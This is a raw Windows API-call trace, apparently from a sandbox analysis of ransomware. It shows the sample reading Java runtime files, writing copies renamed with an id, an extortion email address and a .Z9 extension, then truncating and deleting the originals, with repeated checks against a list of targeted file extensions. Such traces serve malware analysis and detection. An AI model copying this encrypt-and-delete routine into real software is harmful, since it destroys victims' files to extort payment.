	[0095.281] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1
	[0095.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.281] lstrlenW (lpString=".doc") returned 4
	[0095.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.281] lstrlenW (lpString=".docx") returned 5
	[0095.281] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0095.281] lstrlenW (lpString=".pdf") returned 4
	[0095.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString=".xls") returned 4
	[0095.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString=".xlsx") returned 5
	[0095.282] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0095.282] lstrlenW (lpString=".ppt") returned 4
	[0095.282] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.282] lstrlenW (lpString=".zip") returned 4
	[0095.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString=".rar") returned 4
	[0095.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString=".bz2") returned 4
	[0095.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.282] lstrlenW (lpString=".7z") returned 3
	[0095.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.282] lstrlenW (lpString=".dbf") returned 4
	[0095.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.282] lstrlenW (lpString=".1cd") returned 4
	[0095.282] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.282] lstrlenW (lpString=".jpg") returned 4
	[0095.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.282] lstrlenW (lpString=".doc") returned 4
	[0095.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString=".docx") returned 5
	[0095.282] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0095.282] lstrlenW (lpString=".pdf") returned 4
	[0095.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.282] lstrlenW (lpString=".xls") returned 4
	[0095.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.283] lstrlenW (lpString=".xlsx") returned 5
	[0095.283] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0095.283] lstrlenW (lpString=".ppt") returned 4
	[0095.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.283] lstrlenW (lpString=".zip") returned 4
	[0095.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.283] lstrlenW (lpString=".rar") returned 4
	[0095.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.283] lstrlenW (lpString=".bz2") returned 4
	[0095.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.283] lstrlenW (lpString=".7z") returned 3
	[0095.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.283] lstrlenW (lpString=".dbf") returned 4
	[0095.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.283] lstrlenW (lpString=".1cd") returned 4
	[0095.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48
	[0095.283] lstrlenW (lpString=".jpg") returned 4
	[0095.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.283] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.283] lstrlenW (lpString="sunmscapi.dll") returned 13
	[0095.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.313] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=31808) returned 1
	[0095.313] CloseHandle (hObject=0x37c) returned 1
	[0095.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20
	[0095.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.313] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.313] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.361] GetLastError () returned 0x0
	[0095.361] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x7c40, lpOverlapped=0x0) returned 1
	[0095.391] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x7c50, lpOverlapped=0x0) returned 1
	[0095.393] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.393] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1
	[0095.393] SetEndOfFile (hFile=0x338) returned 1
	[0095.393] CloseHandle (hObject=0x338) returned 1
	[0095.393] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.393] SetEndOfFile (hFile=0x37c) returned 1
	[0095.394] CloseHandle (hObject=0x37c) returned 1
	[0095.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.394] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 1
	[0095.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.395] lstrlenW (lpString=".doc") returned 4
	[0095.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.395] lstrlenW (lpString=".docx") returned 5
	[0095.395] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0095.395] lstrlenW (lpString=".pdf") returned 4
	[0095.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.395] lstrlenW (lpString=".xls") returned 4
	[0095.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.395] lstrlenW (lpString=".xlsx") returned 5
	[0095.395] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0095.395] lstrlenW (lpString=".ppt") returned 4
	[0095.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.395] lstrlenW (lpString=".zip") returned 4
	[0095.395] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.395] lstrlenW (lpString=".rar") returned 4
	[0095.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.395] lstrlenW (lpString=".bz2") returned 4
	[0095.395] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.395] lstrlenW (lpString=".7z") returned 3
	[0095.395] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.395] lstrlenW (lpString=".dbf") returned 4
	[0095.395] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.395] lstrlenW (lpString=".1cd") returned 4
	[0095.395] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString=".jpg") returned 4
	[0095.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString=".doc") returned 4
	[0095.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString=".docx") returned 5
	[0095.396] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0095.396] lstrlenW (lpString=".pdf") returned 4
	[0095.396] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString=".xls") returned 4
	[0095.396] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString=".xlsx") returned 5
	[0095.396] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0095.396] lstrlenW (lpString=".ppt") returned 4
	[0095.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString=".zip") returned 4
	[0095.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString=".rar") returned 4
	[0095.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.396] lstrlenW (lpString=".bz2") returned 4
	[0095.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.396] lstrlenW (lpString=".7z") returned 3
	[0095.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString=".dbf") returned 4
	[0095.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString=".1cd") returned 4
	[0095.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52
	[0095.396] lstrlenW (lpString=".jpg") returned 4
	[0095.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.397] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0095.397] lstrlenW (lpString="tnameserv.exe") returned 13
	[0095.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.397] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=16448) returned 1
	[0095.397] CloseHandle (hObject=0x37c) returned 1
	[0095.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20
	[0095.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.397] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.398] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.398] GetLastError () returned 0x0
	[0095.398] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0095.405] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0095.406] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.407] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1
	[0095.407] SetEndOfFile (hFile=0x338) returned 1
	[0095.407] CloseHandle (hObject=0x338) returned 1
	[0095.407] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.407] SetEndOfFile (hFile=0x37c) returned 1
	[0095.408] CloseHandle (hObject=0x37c) returned 1
	[0095.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.408] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1
	[0095.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString=".doc") returned 4
	[0095.409] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.409] lstrlenW (lpString=".docx") returned 5
	[0095.409] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1
	[0095.409] lstrlenW (lpString=".pdf") returned 4
	[0095.409] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.409] lstrlenW (lpString=".xls") returned 4
	[0095.409] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.409] lstrlenW (lpString=".xlsx") returned 5
	[0095.409] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1
	[0095.409] lstrlenW (lpString=".ppt") returned 4
	[0095.409] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString=".zip") returned 4
	[0095.409] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.409] lstrlenW (lpString=".rar") returned 4
	[0095.409] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.409] lstrlenW (lpString=".bz2") returned 4
	[0095.409] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.409] lstrlenW (lpString=".7z") returned 3
	[0095.409] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString=".dbf") returned 4
	[0095.409] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString=".1cd") returned 4
	[0095.409] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString=".jpg") returned 4
	[0095.409] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.409] lstrlenW (lpString=".doc") returned 4
	[0095.409] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.409] lstrlenW (lpString=".docx") returned 5
	[0095.409] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1
	[0095.410] lstrlenW (lpString=".pdf") returned 4
	[0095.410] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.410] lstrlenW (lpString=".xls") returned 4
	[0095.410] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.410] lstrlenW (lpString=".xlsx") returned 5
	[0095.410] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1
	[0095.410] lstrlenW (lpString=".ppt") returned 4
	[0095.410] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.410] lstrlenW (lpString=".zip") returned 4
	[0095.410] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.410] lstrlenW (lpString=".rar") returned 4
	[0095.410] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.410] lstrlenW (lpString=".bz2") returned 4
	[0095.410] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.410] lstrlenW (lpString=".7z") returned 3
	[0095.410] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.410] lstrlenW (lpString=".dbf") returned 4
	[0095.410] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.410] lstrlenW (lpString=".1cd") returned 4
	[0095.410] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52
	[0095.410] lstrlenW (lpString=".jpg") returned 4
	[0095.410] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.410] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.410] lstrlenW (lpString="unpack.dll") returned 10
	[0095.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.411] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=79936) returned 1
	[0095.411] CloseHandle (hObject=0x37c) returned 1
	[0095.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20
	[0095.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.411] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.411] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.412] GetLastError () returned 0x0
	[0095.412] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x13840, lpOverlapped=0x0) returned 1
	[0095.424] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x13850, lpOverlapped=0x0) returned 1
	[0095.426] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.426] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0095.426] SetEndOfFile (hFile=0x338) returned 1
	[0095.426] CloseHandle (hObject=0x338) returned 1
	[0095.426] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.426] SetEndOfFile (hFile=0x37c) returned 1
	[0095.427] CloseHandle (hObject=0x37c) returned 1
	[0095.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.428] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 1
	[0095.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.428] lstrlenW (lpString=".doc") returned 4
	[0095.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.428] lstrlenW (lpString=".docx") returned 5
	[0095.428] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0095.428] lstrlenW (lpString=".pdf") returned 4
	[0095.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.428] lstrlenW (lpString=".xls") returned 4
	[0095.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.428] lstrlenW (lpString=".xlsx") returned 5
	[0095.428] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0095.428] lstrlenW (lpString=".ppt") returned 4
	[0095.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.428] lstrlenW (lpString=".zip") returned 4
